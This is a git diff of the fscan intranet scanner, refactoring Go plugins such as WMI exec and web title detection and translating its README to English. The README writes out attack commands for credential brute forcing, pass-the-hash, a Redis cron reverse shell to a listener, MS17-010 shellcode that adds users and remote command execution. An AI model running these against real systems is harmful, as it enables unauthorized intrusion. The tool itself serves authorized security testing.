||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
protocol := GetProtocol(host, common.Timeout)
|
||||
protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol := GetProtocol(host, common.Timeout)
|
||||
protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
}
|
||||
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
err, result, CheckData := geturl(info, flags, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return
|
||||
}
|
||||
|
||||
//有跳转
|
||||
// there is a jump
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
err, result, CheckData = geturl(info, flags, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -71,25 +70,24 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
|
||||
|
||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
//有跳转
|
||||
err, result, CheckData = geturl(info, flags, 1, CheckData)
|
||||
// there is a jump
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
err, _, CheckData = geturl(info, flags, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
//是否访问图标
|
||||
//err, _, CheckData = geturl(info, 2, CheckData)
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
//flag 1 first try
|
||||
//flag 2 /favicon.ico
|
||||
//flag 3 302
|
||||
@ -114,11 +112,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
||||
if common.Cookie != "" {
|
||||
req.Header.Set("Cookie", common.Cookie)
|
||||
}
|
||||
//if common.Pocinfo.Cookie != "" {
|
||||
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
//} else {
|
||||
// req.Header.Set("Cookie", "rememberMe=1")
|
||||
//}
|
||||
|
||||
req.Header.Set("Connection", "close")
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
@ -155,7 +149,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
||||
}
|
||||
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
result += fmt.Sprintf(" 跳转url: %s", reurl)
|
||||
result += fmt.Sprintf(" jump url: %s", reurl)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
@ -188,7 +182,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
raw, err := io.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@ -216,17 +210,16 @@ func gettitle(body []byte) (title string) {
|
||||
return
|
||||
}
|
||||
|
||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
protocol = "http"
|
||||
//如果端口是80或443,跳过Protocol判断
|
||||
func GetProtocol(host string, proxy common.Socks5, Timeout int64) (protocol string) {
|
||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
||||
return
|
||||
} else if strings.HasSuffix(host, ":443") {
|
||||
protocol = "https"
|
||||
return
|
||||
return "http"
|
||||
}
|
||||
|
||||
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
||||
if strings.HasSuffix(host, ":443") {
|
||||
return "https"
|
||||
}
|
||||
|
||||
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, proxy, time.Duration(Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
@ -3,11 +3,12 @@ package Plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
|
||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
||||
)
|
||||
|
||||
@ -26,8 +27,8 @@ func init() {
|
||||
flag = true
|
||||
}
|
||||
|
||||
func WmiExec(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return nil
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
@ -35,19 +36,19 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
|
||||
PASS:
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := Wmiexec(info, user, pass, common.Hash)
|
||||
flag, err := Wmiexec(info, flags, user, pass)
|
||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
if flag == true {
|
||||
if flag {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
if flags.Domain != "" {
|
||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if common.Hash != "" {
|
||||
result += "hash: " + common.Hash
|
||||
if flags.Hash != "" {
|
||||
result += "hash: " + flags.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
@ -58,11 +59,11 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) == 32 {
|
||||
if len(flags.Hash) == 32 {
|
||||
break PASS
|
||||
}
|
||||
}
|
||||
@ -70,10 +71,10 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
||||
func Wmiexec(info *common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
wmiexec.Timeout = int(common.Timeout)
|
||||
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
|
||||
wmiexec.Timeout = int(flags.Timeout)
|
||||
return WMIExec(target, user, pass, flags.Hash, flags.Domain, flags.Command, ClientHost, "", nil)
|
||||
}
|
||||
|
||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
||||
|
330
README.md
330
README.md
@ -1,198 +1,212 @@
|
||||
# fscan
|
||||
[English][url-docen]
|
||||
|
||||
# 1. 简介
|
||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
||||
# 1. Introduction
|
||||
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
||||
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
||||
|
||||
# 2. 主要功能
|
||||
1.信息搜集:
|
||||
* 存活探测(icmp)
|
||||
* 端口扫描
|
||||
# 2. Functions
|
||||
1.Information collection:
|
||||
* Survival detection(icmp)
|
||||
* Port scanning
|
||||
|
||||
2.爆破功能:
|
||||
* 各类服务爆破(ssh、smb、rdp等)
|
||||
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
|
||||
2.Blasting:
|
||||
* Various service blasting(ssh、smb、rdp, etc.)
|
||||
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
||||
|
||||
3.系统信息、漏洞扫描:
|
||||
* netbios探测、域控识别
|
||||
* 获取目标网卡信息
|
||||
* 高危漏洞扫描(ms17010等)
|
||||
3.System information, vulnerability scanning:
|
||||
* Netbios detection, domain control identification
|
||||
* Collect NIC information
|
||||
* High Risk Vulnerability Scanning(ms17010, etc.)
|
||||
|
||||
4.Web探测功能:
|
||||
* webtitle探测
|
||||
* web指纹识别(常见cms、oa框架等)
|
||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
||||
4.Web detection:
|
||||
* Webtitle detection
|
||||
* Web fingerprinting (cms, oa framework, etc.)
|
||||
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
||||
|
||||
5.漏洞利用:
|
||||
* redis写公钥或写计划任务
|
||||
* ssh命令执行
|
||||
* ms17017利用(植入shellcode),如添加用户等
|
||||
5.Exploit:
|
||||
* Write redis public key and scheduled tasks
|
||||
* Excute ssh command
|
||||
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
||||
|
||||
6.其他功能:
|
||||
* 文件保存
|
||||
6.Others:
|
||||
* Save ouput result
|
||||
|
||||
# 3. 使用说明
|
||||
简单用法
|
||||
# 3. Instructions
|
||||
Getting Started
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
||||
fscan.exe -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/16
|
||||
```
|
||||
|
||||
其他用法
|
||||
Advanced
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
fscan.exe -hf ip.txt (以文件导入)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
||||
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
||||
fscan.exe -hf ip.txt (Import target from file)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
||||
```
|
||||
编译命令
|
||||
Compile command
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (可选,压缩体积)
|
||||
upx -9 fscan.exe (Optional, compressed)
|
||||
```
|
||||
arch用户安装
|
||||
`yay -S fscan-git 或者 paru -S fscan-git`
|
||||
Installation for arch users
|
||||
`yay -S fscan-git or paru -S fscan-git`
|
||||
|
||||
完整参数
|
||||
Full parameters
|
||||
```
|
||||
Usage of ./fscan:
|
||||
-br int
|
||||
Brute threads (default 1)
|
||||
-c string
|
||||
ssh命令执行
|
||||
exec command (ssh|wmiexec)
|
||||
-cookie string
|
||||
设置cookie
|
||||
set poc cookie,-cookie rememberMe=login
|
||||
-debug int
|
||||
多久没响应,就打印当前进度(default 60)
|
||||
every time to LogErr (default 60)
|
||||
-dns
|
||||
using dnslog poc
|
||||
-domain string
|
||||
smb爆破模块时,设置域名
|
||||
smb domain
|
||||
-full
|
||||
poc full scan,as: shiro 100 key
|
||||
-h string
|
||||
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hash string
|
||||
hash
|
||||
-hf string
|
||||
读取文件中的目标
|
||||
host file, -hf ip.txt
|
||||
-hn string
|
||||
扫描时,要跳过的ip: -hn 192.168.1.1/24
|
||||
the hosts no scan,as: -hn 192.168.1.1/24
|
||||
-m string
|
||||
设置扫描模式: -m ssh (default "all")
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
扫描结果不保存到文件中
|
||||
not to save output log
|
||||
-nobr
|
||||
跳过sql、ftp、ssh等的密码爆破
|
||||
not to Brute password
|
||||
-nopoc
|
||||
跳过web poc扫描
|
||||
not to scan web vul
|
||||
-np
|
||||
跳过存活探测
|
||||
not to ping
|
||||
-num int
|
||||
web poc 发包速率 (default 20)
|
||||
poc rate (default 20)
|
||||
-o string
|
||||
扫描结果保存到哪 (default "result.txt")
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
|
||||
add port base DefaultPorts,-pa 3389
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
使用ping代替icmp进行存活探测
|
||||
using ping replace icmp
|
||||
-pn string
|
||||
扫描时要跳过的端口,as: -pn 445
|
||||
the ports no scan,as: -pn 445
|
||||
-pocname string
|
||||
指定web poc的模糊名字, -pocname weblogic
|
||||
-proxy string
|
||||
设置代理, -proxy http://127.0.0.1:8080
|
||||
-user string
|
||||
指定爆破时的用户名
|
||||
-userf string
|
||||
指定爆破时的用户名文件
|
||||
-pwd string
|
||||
指定爆破时的密码
|
||||
-pwdf string
|
||||
指定爆破时的密码文件
|
||||
-rf string
|
||||
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
|
||||
-silent
|
||||
静默扫描,适合cs扫描时不回显
|
||||
-sshkey string
|
||||
ssh连接时,指定ssh私钥
|
||||
-t int
|
||||
扫描线程 (default 600)
|
||||
-time int
|
||||
端口扫描超时时间 (default 3)
|
||||
-u string
|
||||
指定Url扫描
|
||||
-uf string
|
||||
指定Url文件扫描
|
||||
-wt int
|
||||
web访问超时时间 (default 5)
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-pocpath string
|
||||
指定poc路径
|
||||
-usera string
|
||||
在原有用户字典基础上,新增新用户
|
||||
poc file path
|
||||
-portf string
|
||||
Port File
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwda string
|
||||
在原有密码字典基础上,增加新密码
|
||||
-socks5
|
||||
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
|
||||
-sc
|
||||
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
|
||||
add a password base DefaultPasses,-pwda password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-sc string
|
||||
ms17 shellcode,as -sc add
|
||||
-silent
|
||||
silent scan
|
||||
-socks5 string
|
||||
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
||||
-sshkey string
|
||||
sshkey file (id_rsa)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-top int
|
||||
show live len top (default 10)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-usera string
|
||||
add a user base DefaultUsers,-usera user
|
||||
-userf string
|
||||
username file
|
||||
-wmi
|
||||
start wmi
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
```
|
||||
|
||||
# 4. 运行截图
|
||||
# 4. Demo
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
||||
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
||||

|
||||
|
||||
# 5. 免责声明
|
||||
# 5. Disclaimer
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
||||
|
||||
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
|
||||
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
||||
|
||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
|
||||
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
||||
|
||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
||||
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
||||
|
||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
||||
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
||||
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
|
||||
@ -200,10 +214,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
|
||||
# 7. Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. 捐赠
|
||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
||||
# 8. Donation
|
||||
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
||||
|
||||
# 9. 参考链接
|
||||
# 9. Reference links
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
@ -211,35 +225,35 @@ https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
|
||||
|
||||
# 10. 最近更新
|
||||
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
|
||||
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
|
||||
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
|
||||
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
|
||||
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
|
||||
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
|
||||
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
|
||||
[+] 2022/1/11 新增oracle密码爆破。
|
||||
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
|
||||
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
|
||||
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
|
||||
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。
|
||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
|
||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
|
||||
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
|
||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
|
||||
[+] 2021/4/21 加入netbios探测、域控识别。
|
||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
|
||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
|
||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
|
||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
|
||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
|
||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
|
||||
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。
|
||||
# 10. Dynamics
|
||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
